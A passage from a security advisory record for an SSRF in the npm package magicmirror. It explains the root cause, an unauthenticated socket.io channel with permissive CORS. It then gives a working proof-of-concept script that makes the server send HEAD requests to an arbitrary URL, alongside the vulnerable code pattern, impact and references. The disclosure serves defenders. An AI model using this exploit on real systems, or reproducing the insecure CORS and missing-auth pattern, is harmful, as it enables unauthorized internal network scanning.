It is a \"blind-ish\" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.\n\nThe actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service's log), since the `canFrame` field alone leaks little.\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-newsfeed.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\nconst TARGET = process.env.MM || \"https://target/\";\nconst URL_TO_HIT = process.env.SSRF_URL || \"https://webhook.site\";\nconst socket = io(`${TARGET}/newsfeed`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) => {\n\tif (event === \"ARTICLE_URL_STATUS\") {\n\t\tconsole.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);\n\t\tconsole.log(\"[!!!] Server performed a server-side HEAD request to the internal host (SSRF).\");\n\t\tprocess.exit(0);\n\t}\n});\nsocket.on(\"connect\", () => {\n\tconsole.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);\n\tsocket.emit(\"CHECK_ARTICLE_URL\", { url: URL_TO_HIT });\n});\nsetTimeout(() => { console.log(\"[*] timeout\"); process.exit(1); }, 12000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nasync checkArticleUrl(url) {\n  const res = await fetch(url, { method: \"HEAD\" });\n  const canFrame = !res.headers.get(\"x-frame-options\")\n                && !/frame-ancestors/i.test(res.headers.get(\"content-security-policy\") || \"\");\n  this.sendSocketNotification(\"ARTICLE_URL_STATUS\", { url, canFrame });\n}\n```\n\n---\n\n## Impact\n\n- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive.\n- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC).\n- Although it's HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.\n\n---\n\n\n\n### References\n- CWE-918: Server-Side Request Forgery (SSRF)\n- CWE-306: Missing Authentication for Critical Function\n- CWE-942: Permissive Cross-domain Policy with Untrusted Domains\n- OWASP: SSRF Prevention Cheat Sheet\n\n> This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.","state":0,"publishedAt":"2026-08-18T17:26:46+00:00","modifiedAt":"2026-08-18T17:41:04.51751+00:00","affected":[{"ecosystem":"npm","name":"magicmirror","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.37.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g","https://github.com/MagicMirrorOrg/MagicMirror/pull/4169","https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f","https://github.com/MagicMirrorOrg/MagicMirror","https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"],"sourceUrl":"https://github.com/advisories/GHSA-998g-7v5w-cr7g","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-998g-7v5w-cr7g","identifiers":["GHSA-998g-7v5w-cr7g","CVE-2026-63642"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors.
